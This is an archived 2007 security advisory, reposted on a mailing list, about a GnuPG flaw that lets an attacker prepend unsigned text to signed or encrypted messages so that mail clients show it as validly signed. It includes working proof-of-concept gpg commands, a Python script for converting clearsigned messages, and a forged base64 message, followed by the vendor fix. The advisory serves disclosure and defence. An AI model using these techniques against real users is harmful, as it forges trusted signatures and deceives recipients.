

# [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00020.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 6 Mar 2007 11:33:49 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

---

## SUMMARY

Scripts and applications using GnuPG are prone to a vulnerability in how signature verification information is shown to the end user.

An attacker is able to add arbitrary content to a signed message. The receiver of the message (using a mail client such as Enigmail to read the message) will not be able to distinguish the forged and the properly signed parts of the message. This problem derives from the fact that a valid OpenPGP message can include multiple portions, each of them in turn considered a message but some of which may or may not be signed and/or encrypted. Vulnerable third party applications do not use the appropriate GnuPG API to determine message boundaries and do not explicitly differentiate messages in their output to end users.

In some cases, and depending on how GnuPG is used, even an advanced user directly using GnuPG from the command line may be fooled by this attack.

It's important to note that this IS NOT a cryptographic problem, but rather a problem on how information is shown to the user and how third-party applications and GnuPG interact with each other.

## DETAILS

### Vulnerable Packages:

- \* GnuPG version 1.4.6 and previous versions.
- \* Enigmail version 0.94.2 and previous versions.
- \* KMail version 1.9.5 and previous versions.
- \* Evolution version 2.8.1 and previous versions.
- \* Sylpheed version 2.2.7 and previous versions.
- \* Mutt version 1.5.13 and previous versions.
- \* GNUMail version 1.1.2 and previous versions.
- \* Other scripts and applications using GnuPG may be vulnerable.

### Technical Description – Exploit/Concept Code:

As explained by RFC2440, an OpenPGP message, as used by GnuPG, is composed of several packets. A packet is a chunk of data that has a tag specifying its meaning. An OpenPGP message consists of a number of packets. Some of those packets may contain other OpenPGP packets.

The most common types are a plaintext packet inside a signature packet, or a plaintext packet inside a signature packet inside an encrypted packet. When two or more OpenPGP messages are concatenated together, a new valid (and longer) message is obtained, and GnuPG handles it without problem, processing packets and messages one after the other. Our attack takes advantage of this feature of GnuPG. (It's actually a real feature).

A standard signed-only message can be represented as:

Compressed (OnePassSignature + Literal(text) + Signature)

When the message is also encrypted, the session key, and an extra encryption layer is added:

PubKeyEncrypted + EncryptedData( Compressed ( ... ) )

The message could be encrypted using symmetric crypto instead of public key:

SimKeyEncrypted + EncryptedData( Compressed ( ... ) )

If the message is sent on email, or some other 7-bit medium, it may be ASCII-armored by encoding it using base64 and then appending a base64-encoded crc24 of the hole.

AsciiArmor(PubKeyEncrypted + EncryptedData( Compressed ( ... ) )

Our attack consists in prepending a literal packet before a normal message, but inside the AsciiArmor if needed. We thought of several variants for this attack, and some more can be easily generated.

There are four different ways to add text to a signed message, without

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

invalidating the signature.

Attack Variant 1: Prepending plaintext to an only-signed message. This variant is the simplest, and consists on prepending a single Literal() packet to an existing message, resulting in, for example:

```
Literal(bad_text) + Compressed( OnePassSignature + Literal(text) + Signature)
```

When GnuPG processes this message, it first outputs , then outputs and then verifies what's enclosed between the OnePassSignature and Signature packets, reporting that the signature is correct (for ). When GnuPG is used through standard input and standard output (as it is in most cases when it's used by other applications such as MUAs), no distinction or separation is shown in the output between the two texts, hence the application reading GnuPG's output has no way to decide if the original input consisted of several texts or just one correctly signed. And this is exactly the problem we found.

Example:

```
gera@poxiran:~/gpg$ gpg -z9 --output signed.gpg --sign
```

```
You need a passphrase to unlock the secret key for user: "Gerardo Richarte
<gera@xxxxxxxxxxxx>"
1024-bit DSA key, ID 3944C2D0, created 1999-02-16
```

This text is signed, it's a simple text to use as an example.

```
gera@poxiran:~/gpg$ gpg -z0 --output forged.gpg --store
This text is inserted by the attacker
```

```
gera@poxiran:~/gpg$
gera@poxiran:~/gpg$ cat forged.gpg signed.gpg >hoax.gpg
gera@poxiran:~/gpg$ gpg <hoax.gpg
This text is inserted by the attacker
This text is signed, it's a simple text to use as an example.
gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID
3944C2D0
gpg: Good signature from "Gerardo Richarte <gera@xxxxxxxxxxxx>"
Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0
```

-----

We can inspect the structure of the message using --list-packets. Although it doesn't show the nesting levels, it's a good help when trying these things:

-----

```
gera@poxiran:~/gpg$ gpg --list-packets <hoax.gpg
:literal data packet:
mode b (62), created 1172176500, name="",
```

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

```
raw data: 38 bytes
:compressed packet: algo=1
:onepass_sig packet: keyid 404F4B533944C2D0
version 3, sigclass 00, digest 2, pubkey 17, last=1
:literal data packet:
mode b (62), created 1172176306, name="",
raw data: 97 bytes
:signature packet: algo 17, keyid 404F4B533944C2D0
version 3, created 1172176420, md5len 5, sigclass 00
digest algo 2, begin of digest 09 46
data: [160 bits]
data: [159 bits]
```

-----

It's important to state here that GnuPG does offer an interface for applications to obtain additional information when using it through standard in and standard out, and this interface, when properly used, can prevent the attack described here (see the description of "--status-fd" in GnuPG documentation for more information). Using --status-fd is the officially recommended way to use GnuPG from another application.

For example:

```
-----
gera@poxiran:~/gpg$ gpg --status-fd 1 <hoax.gpg
[GNUPG:] PLAINTEXT 62 1172176500
[GNUPG:] PLAINTEXT_LENGTH 38
This text is inserted by the attacker
[GNUPG:] PLAINTEXT 62 1172176306
[GNUPG:] PLAINTEXT_LENGTH 97
This text is signed, it's a simple text to use as an example.
gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID
3944C2D0
[GNUPG:] SIG_ID iaMH4I4KCsPrWmVvMh3y0MqIUd0 2007-02-22 1172176420
[GNUPG:] GOODSIG 404F4B533944C2D0 Gerardo Richarte <gera@xxxxxxxxxxxx>
gpg: Good signature from "Gerardo Richarte <gera@xxxxxxxxxxxx>"
[GNUPG:] VALIDSIG A3901BBA2C58D6795A7186F9404F4B533944C2D0 2007-02-22
1172176420 0 3 0 17 2 00 A3901BBA2C58D6795A7186F9404F4B533944C2D0
[GNUPG:] TRUST_UNDEFINED
Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0
-----
```

When GnuPG is used on files (vs. used through standard input and output), the user will be asked if the output file can be overwritten, and only the content of one Literal packet will be stored in the output file. If the user chooses not to overwrite the file, and just presses Enter as answer to the alternative file name, GnuPG's behaviour is not clear enough, and the user may be fooled into believing the forged text is actually correctly signed. However, the sole y/n question may be interpreted as enough sign that something weird is going on:

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

```
-----
gera@poxiran:~/gpg$ gpg hoax.gpg
File `hoax' exists. Overwrite? (y/N) n
Enter new filename:
gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID
3944C2D0
gpg: Good signature from "Gerardo Richarte <gera@xxxxxxxxxxxx>"
Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0
gera@poxiran:~/gpg$ ls -l
total 16
-rw-r--r-- 1 gera gera 38 2007-02-23 12:16 hoax
-rw-r--r-- 1 gera gera 216 2007-02-22 17:36 hoax.gpg
-rw-r--r-- 1 gera gera 46 2007-02-22 17:35 prefix.gpg
-rw-r--r-- 1 gera gera 170 2007-02-22 17:33 signed.gpg
gera@poxiran:~/gpg$ cat hoax
This text is inserted by the attacker
gera@poxiran:~/gpg$
-----
```

Attack Variant 2: Prepending plaintext to a "clearsign" message  
Clearsign messages are messages signed and encapsulated to be sent as an email: the text of the message is not encoded in any way and can be read without the help of GnuPG, and the signature is encoded using base64. If you wanted to perform an attack on somebody, you would first need an email signed by the victim, and then perform this attack on it.

We found two different ways of prepending a forged text to a clearsign message. The first is simpler, but probably more visible to the victim. The second is not so straightforward and clean, but may appear a little bit less suspicious.

A description of the first way to prepend plaintext to a "clearsign" message follows:

```
-----
gera@poxiran:~/gpg$ gpg -z0 --store -a --output clear_forged.txt
This text was inserted by the attacker!
gera@poxiran:~/gpg$ gpg --clearsign --output clear_signed.txt
```

You need a passphrase to unlock the secret key for user: "Gerardo Richarte <gera@xxxxxxxxxxxx>"  
1024-bit DSA key, ID 3944C2D0, created 1999-02-16

This text is in clear, and signed.

```
gera@poxiran:~/gpg$ cat clear_signed.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
```

This text is in clear, and signed.  
-----BEGIN PGP SIGNATURE-----

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

Version: GnuPG v1.4.3 (GNU/Linux)

```
iD8DBQFF3xlcQE9LUzIEwtARAnJDAKcdWgHGdQr7r2yiYVG44NsYfGzNoQCfaPG9
JrhgBPYXGkBivmKIA879IvA=
-/97+
```

-----END PGP SIGNATURE-----

```
gera@poxiran:~/gpg$ cat clear_forged.txt clear_signed.txt >clear_hoax.txt
```

```
gera@poxiran:~/gpg$ gpg <clear_hoax.txt
```

This text was inserted by the attacker!

This text is in clear, and signed.

```
gpg: Signature made Fri 23 Feb 2007 01:42:04 PM ART using DSA key ID
3944C2D0
```

```
gpg: Good signature from "Gerardo Richarte <gera@xxxxxxxxxxxx>"
```

```
Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0
```

Although GnuPG behaves exactly like in Attack Variant 1 previously described, some applications using it, like Enigmail, independently detect the boundaries of GPG data by inspecting the message, and, in Enigmail's case, for example, only process the first part of clear\_hoax.txt, but don't process the signature part, making Enigmail/GnuPG not vulnerable to this specific mode of attack. It may be possible to fool Enigmail by using PGP/MIME, but our quick tests showed no results.

We have not tested other applications like Kmail or Evolution with this approach.

Note in the previous example that clear\_signed.txt is how a signed email looks like. When performing our tests we found problems when copying the clearsign text from an email, specially regarding CrLf conversions and trimmed spaces at end of lines. We had to be very careful when extracting the original signed text from the email.

For the second way to prepend a forged text to a "clearsign message" we will first convert the clearsign message to a standard GnuPG signed message, and then we'll do just the same we did in Attack Variant 1.

From a clearsign message, either created using `--clearsign` or cut&pasted

from an email, we need to extract the plaintext and the detached signature, and then build a GnuPG message from it. The following python script, although not perfect, will do just that (you'll need gpg.py [3] and Impacket [2]):

```
----- clearsign2sign.py
#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()
```

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

```
start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")
```

```
text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])
```

```
onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1
```

```
plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62
```

```
signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)
```

```
compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]
```

```
pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed
```

```
os.write(1,str(pkt))
```

-----

This script will create a GnuPG message with the following structure:

Compress ( OnePassSignature + Literal + Signature )

To verify that the generated file is valid, we can pipe the output to gpg:

```
-----
gera@poxiran:~/gpg$ ./clearsign2sign.py clear_signed.txt |gpg
This text is in clear, and signed.
gpg: Signature made Fri 23 Feb 2007 06:23:40 PM ART using DSA key ID
3944C2D0
gpg: Good signature from "Gerardo Richarte <gera@xxxxxxxxxxxx>"
Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0
gera@poxiran:~/gpg$ ./clearsign2sign.py clear_signed.txt |gpg
--list-packets
:compressed packet: algo=2
:onepass_sig packet: keyid 1234123412341234
version 3, sigclass 00, digest 2, pubkey 1, last=1
:literal data packet:
```

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

```
mode b (62), created 0, name="original",
raw data: 36 bytes
:signature packet: algo 17, keyid 404F4B533944C2D0
version 3, created 1172265820, md5len 5, sigclass 01
digest algo 2, begin of digest 69 31
data: [158 bits]
data: [158 bits]
gera@poxiran:~/gpg$
```

The generated message can, again, be used as described in Attack Variant 1, concatenated to a forged plaintext, to perform an attack.

If you want to send this as an email, the easiest way is to compose an email in your mail client, insert PGP/GPG header and footer, and paste a base64 version of the concatenation of forged.gpg and the output from clearsign2sign.py:

```
-----
gera@poxiran:~/gpg$ ./clearsign2sign.py clear_signed.txt >cleared.gpg
gera@poxiran:~/gpg$ cat forged.gpg cleared.gpg | uuencode -m . > hoax.b64
gera@poxiran:~/gpg$ cat hoax.b64
begin-base64 644 ,
yyxiAEXd/nRUaGlzIHRleHQgaXMgaW5zZXJ0ZWQgYnkgdGhlIGF0dGFja2Vy
CsiJAnicO8LLzMDEKGQCgYynjZI48osy0zPzEnMYgCAkI7NYoSS1okQBSGfm
KSTnpCYW6Sgk5qUoFGem56Wm6PFyddgzszK63o+OcfD3DrZ0OXRbkCnTkGGe
/p3lC5bMX5O579Kxm+fkWEQfPGb7yzDPSvTKol/m67kNGjsSmd05t7TF13oC
AFw8Lgo=
=====
```

And this is how the final mail text should look like (first and last lines of uudecode output's removed):

```
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.3 (GNU/Linux)

yyxiAEXd/nRUaGlzIHRleHQgaXMgaW5zZXJ0ZWQgYnkgdGhlIGF0dGFja2Vy
CsiJAnicO8LLzMDEKGQCgYynjZI48osy0zPzEnMYgCAkI7NYoSS1okQBSGfm
KSTnpCYW6Sgk5qUoFGem56Wm6PFyddgzszK63o+OcfD3DrZ0OXRbkCnTkGGe
/p3lC5bMX5O579Kxm+fkWEQfPGb7yzDPSvTKol/m67kNGjsSmd05t7TF13oC
AFw8Lgo=
-----END PGP MESSAGE-----
```

Although not necessarily needed for every use, strictly speaking, the crc24 is missing. If you want, you can use gpg.py to calculate it. Then you just need to append it before the closing line:

```
-----
gera@poxiran:~/gpg$ python
```

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

```
import gpg
print '='+gpg.crc24(open('forged.gpg').read() +
open('cleared.gpg').read())
-BLll
-----
```

In this example, you need to insert the string '=BLll' in a line before the -----END PGP MESSAGE----- marker to obtain a complete message.

We've also confirmed that it's possible to perform the attack using PGP/MIME to encode the email body as an HTML message, which hides the original text using an open HTML comment. When PGP/MIME and HTML is used this way, the attacker can fully replace the message the victim reads, while still maintaining a valid signature, making the attack even more dangerous.

Attack Variant 3: Prepending plaintext to an encrypted and signed message. So far we've concentrated on messages that were originally only signed, but if the original message is also encrypted, the attack is still as easy to perform as it is for only signed messages.

The structure of encrypted messages is quite similar for symmetrical encrypted messages or those encrypted using a public key:

Symmetrical Encryption:

SymKeyEnc\_SesKey + Encrypted(OnePassSignature + Literal(text) + Signature)

Public Key Encryption:

PubKeyEnc\_SesKey + Encrypted(OnePassSignature + Literal(text) + Signature)

The difference is in the first packet, where SymKeyEnc\_SesKey is a packet containing a session key encrypted using a symmetric cipher, and PubKeyEnc\_SesKey contains the session key encrypted using a public key. This is a simplified example, in the more common case the data inside Encrypted() will be compressed.

It would be straightforward to perform the attack as described in Variant 1 to obtain:

Literal(bad\_text) + SymKeyEnc\_SesKey + Encrypted(OnePassSignature + ...)

or

Literal(bad\_text) + PubKeyEnc\_SesKey + Encrypted(OnePassSignature + ...)

and this would be enough to attack people using any of the vulnerable GnuPG wrappers. But for people using GnuPG directly on the command line, they will notice that a part of the message is printed before asking the

## [NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

passphrase, and that another part is printed after asking it, which may look suspicious. However, if needed, this behaviour can be avoided by forcing GnuPG to ask the passphrase prior to processing any Literal packet and outputting any text. Simply change the order of the packets in forged message to look like:

SymKeyEnc\_SesKey + Literal(bad\_text) + Encrypted(OnePassSignature + ...)

or

PubKeyEnc\_SesKey + Literal(bad\_text) + Encrypted(OnePassSignature + ...)

With this GnuPG will ask the passphrase as soon as it sees the \*KeyEnc\_SesKey packets, and will only decrypt the contents of the Encrypted() packet, effectively outputting all text without interruption.

Attack Variant 4: Hiding the injected text from the naked eye  
In all the previous variants the injected text is stored without any encryption in the final message, and may be easily seen, probably making the attack weaker. A very simple solution to this is to compress the injected Literal packet, producing something like:

Compressed( Literal(bad\_text) ) + original\_message

or even

Compressed( Literal(bad\_text) + original\_message )

The same effect of hiding the injected text can be achieved using encryption.

All this more advanced variants can be easily tried using `gpg.py`.

Another more advanced option would be to encrypt the injected text, but as the encryption layer is never disabled, all the remaining data would have to be encrypted as well. We have not tried this specific setting, but we are pretty sure it must work.

Solution/Vendor Information/Workaround:

The following versions of GnuPG and GPGME resolve this issue:

- \* GnuPG version 1.4.7
- \* GPGME version 1.1.4

They can be downloaded from: <http://www.gnupg.org/download/>

The fixed version enforce a limit of processing only one message on each run so third party applications and direct GPG users can not be confused by multiple messages with different security properties being intermingled in the output without clear message boundaries.

[NEWS] GnuPG and GnuPG Clients Unsigned Data Injection Vulnerability

For application developers using GnuPG as backend, it's a must to make the application pay attention to the output of the "--status-fd" option.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:advisories@xxxxxxxxxxxxxxxx>>  
Gerardo Richarte from Core Security Technologies.  
The original article can be found at:  
<<http://www.coresecurity.com/?action=item&id=1687>>  
<http://www.coresecurity.com/?action=item&id=1687>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.